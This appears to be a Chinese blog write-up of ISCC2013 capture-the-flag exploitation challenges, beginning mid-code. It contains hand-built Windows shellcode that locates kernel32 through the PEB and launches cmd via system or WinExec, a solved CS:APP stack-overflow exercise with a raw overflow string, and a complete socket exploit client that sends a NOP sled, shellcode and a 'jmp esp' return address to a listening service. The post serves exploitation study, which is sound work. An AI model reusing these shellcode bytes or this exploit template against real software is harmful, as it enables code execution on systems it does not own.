"\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63"
"\xC6\x45\xFB\x6D\xC6\x45\xFC\x64"
//"\xC6\x45\xFD\x00"
"\x88\x4D\xFD"
"\x8D\x75\xF4\x56\x8B\xC3"
"\x05\xC8\x94\x02\x01\x2D\x01\x01\x01\x01"  //sub eax , 01010101
"\xFF\xD0\x8B\xE5\x5D"
};
最后在代码后面加上\xC3应该就大功告成了,可是却显示了堆栈不平衡的报错,拿OD看了一下发现

最程序最后检查堆栈平衡的函数里,会拿esi和esp作比较来判断是否平衡,而在程序中我把esi拿去干别的了,却没有还原,导致报错。

在最后把esi还原一下就好啦~最终版本

#include "stdafx.h"
#include "windows.h"
#include "winsvc.h"
#include "string.h"
/*unsigned char shellcode[] = {
"\x51\x56\x57\x33\xC9\x64\x8B\x71\x3w0\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75"
"\xF2\x5F\x5E\x59\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45"
"\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C"
//"\xC6\x45\xFE\x00"
"\x88\x4D\xFE"
"\x8D\x75\xF4\x56\x8B\xC3"
"\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01"  //sub eax , 01010101
"\xFF\xD0\x8B\xE5\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C"
"\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63"
"\xC6\x45\xFB\x6D\xC6\x45\xFC\x64"
//"\xC6\x45\xFD\x00"
"\x88\x4D\xFD"
"\x8D\x75\xF4\x56\x8B\xC3"
"\x05\xC8\x94\x02\x01\x2D\x01\x01\x01\x01"  //sub eax , 01010101
"\xFF\xD0\x8B\xE5\x5D\xC3"
};*/
unsigned char shellcode[] =
"\x51\x56\x57\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20"
"\x8B\x36\x66\x39\x4F\x18\x75\xF2\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C"
"\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6"
"\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C\x88\x4D"
"\xFE\x8D\x75\xF4\x56\x8B\xC3\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01\xFF\xD0\x8B\xE5"
"\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45"
"\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63\xC6\x45\xFB"
"\x6D\xC6\x45\xFC\x64\x88\x4D\xFD\x8D\x75\xF4\x56\x8B\xC3\x05\xC8\x94\x02\x01\x2D\x01"
"\x01\x01\x01\xFF\xD0\x8B\xE5\x5D\x5F\x5E\x59\xC3";

typedef void (*MYPROC)(LPTSTR);
int main(int argc, char* argv[])
{
	((void (*)())&shellcode)();
	return 0;
	__asm{
	find_kernel32:
		push ecx
		push esi
		push edi
		xor ecx, ecx
		mov esi, fs:[ecx+0x30]
		mov esi, [esi + 0x0c]
		mov esi, [esi + 0x1c]
	next_module:
		mov eax, [esi + 0x8]
	    mov edi,[esi+0x20]
		mov esi ,[esi]
	    cmp [edi+12*2],cx
		jne next_module
		
		mov ebx,eax

		//LoadLibrary("msvcrt.dll");
        push    ebp
        mov     ebp,esp
        xor		eax,eax
        sub		esp,0ch
 
        mov        byte ptr[ebp-0Ch],6Dh        //m
        mov        byte ptr[ebp-0Bh],73h        //s
        mov        byte ptr[ebp-0Ah],76h        //v
        mov        byte ptr[ebp-09h],63h        //c
        mov        byte ptr[ebp-08h],72h        //r
        mov        byte ptr[ebp-07h],74h        //t
        mov        byte ptr[ebp-06h],2Eh        //.
        mov        byte ptr[ebp-05h],64h        //d
        mov        byte ptr[ebp-04h],6Ch        //l
		mov        byte ptr[ebp-03h],6Ch        //l
		mov		   [ebp-02h],cl
        lea        esi,[ebp-0Ch]
         
        push	   esi
        mov        eax,ebx 
        add        eax,01011e7ch        //得到LoadLibraryw地址
		sub		   eax,01010101h
        call       eax
        
		mov esp,ebp
		pop ebp
        mov    ebx,eax                //MSCCRT.dll句柄(地址)在ecx中

		// system(start cmd );
         push		ebp
         mov		ebp,esp
         xor		eax,eax
         sub		esp,0ch
         
         mov        byte ptr[ebp-0Ch],73h        //s
         mov        byte ptr[ebp-0Bh],74h        //t
         mov        byte ptr[ebp-0Ah],61h        //a
         mov        byte ptr[ebp-09h],72h        //r
         mov        byte ptr[ebp-08h],74h        //t
         mov        byte ptr[ebp-07h],20h        // 
         mov        byte ptr[ebp-06h],63h        //c
         mov        byte ptr[ebp-05h],6Dh        //m
         mov        byte ptr[ebp-04h],64h        //d
		 mov		[ebp-03h],cl
         lea        esi,[ebp-0Ch]
 
         push    esi
         mov     eax,ebx
         add     eax,010294c8h
		 sub	 eax,01010101h
         call    eax
		 mov esp,ebp
		 pop ebp
		 pop edi
		 pop esi
		 pop ecx

	}


	return 0;
}






我想要的输出

给出一段代码,要求溢出改变其输出,并给出了完整代码,前提是不考虑GS验证。
/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <new.h>
#include <excpt.h>
#include <malloc.h>

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
	val = c - '0';
      else if ('A' <= c && c <= 'F')
	val = c - 'A' + 10;
      else
	val = c - 'a' + 10;
      if (even) {
	otherd = val;
	even = 0;
      } else {
	*sp++ = otherd * 16 + val;
	even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;

}

关键在这段函数,要求溢出改变return 1的返回值
int getbuf()
{
    char buf[12];
    getxs(buf);             //并不接受返回的char*  这里我们可以选择性的忽略这个函数
    return 1;               //无论如何返回1
}
搜了一下是《深入理解计算机系统》的习题,有时间看看这本书。
这里为了方便直接使用vc进行分析,这里要注意一点,不知道什么原因vc中的地址很可能与正常运行的不一样。
首先看一下getbuf()的反汇编
0040D820   push        ebp
0040D821   mov         ebp,esp
0040D823   sub         esp,4Ch
0040D826   push        ebx
0040D827   push        esi
0040D828   push        edi
0040D829   lea         edi,[ebp-4Ch]
0040D82C   mov         ecx,13h
0040D831   mov         eax,0CCCCCCCCh
0040D836   rep stos    dword ptr [edi]

char buf[12];           
getxs(buf);                  //可暂时忽略这个函数     
0040D838   lea         eax,[ebp-0Ch]
0040D83B   push        eax
0040D83C   call        @ILT+5(getxs) (0040100a)
0040D841   add         esp,4
47:       return 1;
0040D844   mov         eax,1

test()函数的
54:     val = getbuf();
0040D885   call        @ILT+15(getbuf) (00401014)
0040D88A   mov         dword ptr [ebp-4],eax
55:     printf("getbuf returned 0x%x\n", val);
0040D88D   mov         eax,dword ptr [ebp-4]
0040D890   push        eax
0040D891   push        offset string "getbuf returned 0x%x\n" (00422fac)
0040D896   call        printf (00401060)
0040D89B   add         esp,8
那么大概估计一下堆栈是这样
GetBuf堆栈区

--------------------------esp
.....
.....
buf[] = ebp - 12
--------------------------ebp  GetBuf执行完毕后会还原到test的堆栈
ebp
eip
....
....
....
那么很明显的一个思路是,ebp不变,我们把eip覆盖到call printf,之后再覆盖两个参数,这里deadbeef可以直接当做16进制数字输出
11 11 11 11 11 11 11 11 11 11 11 11 [EBP] [&call printf]  [deadbeef] 01
这时候的堆栈就是这样的,执行pop eip之后 esp正好指向0xdeadbeef,为printf提供参数
GetBuf堆栈区

--------------------------esp
.....
.....
buf[] = ebp - 12
--------------------------ebp  GetBuf执行完毕后会还原到test的堆栈
ebp
eip    指向 call printf
0xdeadbeef
0x01
....
但是这样会产生堆栈不平衡的问题,并不是完美解决。
之后决定吧代码写入到buf[]中,先跳到eip[],在eip中修改程序的返回也就是EAX执行完毕后,再跳回到原eip
buf中的代码
mov $0xdeadbeef, %eax
mov $0x0040122a,    %edx
jmp *%edx

机器码
B8 EF BE AD DE
BA 8D D8 40 00
FF E2

或
mov $0xdeadbeef, %eax
push $0x401476
ret
这个方法也是有缺陷的。因为GetBuf()结束后跳到Buf[]时这段内存空间其实已经被释放掉了,会被各种修改。
最后解决的方法是这样,直接把buf[]溢出,直到覆盖到ebp-4,因为ebp-4是保存程序返回的地址
buf[]在 0012ef3c
ebp-4在 0012ef9c
中间的数据据说都是没用的,这个方法有点暴力,不过还是可以解决问题的。
deadbeefdeadbeefdeadbeefa0ef12006d124000deadbeefdeadbeefdeadbeefa0ef1200efbeaddedeadbeefdeadbeefdeadbeefa0ef1200efbeaddedeadbeefdeadbeefdeadbeefa0ef1200efbeaddedeadbeefdeadbeefdeadbeefdeadbeefefbeadde80ff1200fd124000

ExploitMe_1

这道题是原题,发现了各种答案,就直接偷懒粘上了。
http://bbs.pediy.com/showthread.php?p=930585

ExploitMe_2

这道题是一道socket通信的题,通过socket传送数据进行溢出。
没有给出原代码,但是通过逆向还是很简单的。但是做这道题的时候因为看错题了,拿着别的exe搞了半天,蛋疼无比。
所以抄了一下基友的代码。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<winsock2.h>
#include<windows.h>
#pragma comment(lib,"ws2_32.lib")

#define MAXDATA		200
#define MAXBUF		1024

//开DOS命令窗口(通用型)
char CMD_Shellcode[1024]=
"\x60\xFC\x83\xEC\x40\x33\xC9\x64"
"\x8B\x41\x30\x8B\x40\x0C\x8B\x70"
"\x1C\x8B\x46\x08\x8B\x7E\x20\x8B"
"\x36\x66\x39\x4F\x18\x75\xF2\x8B"
"\xE8\x8B\x45\x3C\x8B\x4C\x28\x78"
"\x03\xCD\x8B\x59\x20\x03\xDD\x33"
"\xFF\x47\x8B\x34\xBB\x03\xF5\x8B"
"\x06\x3D\x57\x69\x6E\x45\x75\xF1"
"\x8B\x59\x24\x03\xDD\x66\x8B\x3C"
"\x7B\x8B\x59\x1C\x03\xDD\x03\x2C"
"\xBB\x95\x33\xDB\x43\xB9\x73\x7D"
"\x74\x01\x81\xE9\x10\x10\x10\x01"
"\x51\x53\x8D\x5C\x24\x04\x53\xFF"
"\xD0\x83\xC4\x44\x61"			
//运行完shellcode重新返回程序入口点402027h	
"\xB8\x38\x31\x51\x11"											//mov eax,11513138h
"\x2D\x11\x11\x11\x11"											//sub eax,11111111h	等价mov eax,402027h
"\x50"															//push eax
"\xC3";															//ret

char junk0[9] = "\x90\x90\x90\x90\x90\x90\x90\x90";
char junk1[MAXDATA] = {90};
char eip2jmp[5] = "\x12\x45\xfa\x7f";							//通用地址Locate Address Of  "jmp esp"
char JmpToShellcode[9] = "\x81\xc4\x38\xff\xff\xff\xff\xe4";	//ADD ESP,-0c8h	;	JMP ESP                  hex(c8)=200
char junk2[5] = "\x90\x90\x90\x90";

//shellcode缓冲区
char exploit[MAXBUF]={0};

char *host = "127.0.0.1";
char *port = "7777";

//主函数
int main(int argc,char* argv[])
{
	int num=0;
	SOCKET CSock;	
	SOCKADDR_IN ServAddr;
	WSADATA wsa;
	printf("overflow4.exe <IP/127.0.0.1> <PORT/7777>\n\n");
	if(argc==3)
	{
		strcpy(host,argv[1]);
		strcpy(port,argv[2]);
	}

	//初始化winsocket库
	WSAStartup(MAKEWORD(2,2),&wsa);

	//初始化套接字
	CSock=socket(AF_INET,SOCK_STREAM,0);
	if(INVALID_SOCKET==CSock)
	{
		printf("init SOCK fail!\n");
		WSACleanup();
		exit(0);
	}

	ServAddr.sin_family=AF_INET;
	ServAddr.sin_addr.s_addr=inet_addr(host);
	ServAddr.sin_port=htons(atoi(port));

	//连接服务器套接字
	if(connect(CSock,(sockaddr*)&ServAddr,sizeof(sockaddr))==SOCKET_ERROR)
	{
		printf("can't connect %s:%d !\n",::inet_ntoa(ServAddr.sin_addr),::ntohs(ServAddr.sin_port));
		closesocket(CSock);
		WSACleanup();
		exit(0);
	}

	//构造shellcode
	ZeroMemory(exploit,sizeof(exploit));
	strncpy(exploit,junk0,strlen(junk0));
	strncat(exploit,CMD_Shellcode,strlen(CMD_Shellcode));
	memset(junk1,90,MAXDATA-strlen(CMD_Shellcode)-strlen(junk0));
	strncat(exploit,junk1,strlen(junk1));
	strncat(exploit,eip2jmp,strlen(eip2jmp));
	strncat(exploit,JmpToShellcode,strlen(JmpToShellcode));
	strncat(exploit,junk2,strlen(junk2));
	//发生shellcode数据包
	num=send(CSock,exploit,strlen(exploit),0);

	if(num)
	{
		printf("%s%d%s\n\n","Success to sent ", strlen(exploit)," bytes data!");
		closesocket(CSock);
	}
	WSACleanup();
	getchar();
	return 0;
}



你可能感兴趣的:(关于ISCC2013的思路整理)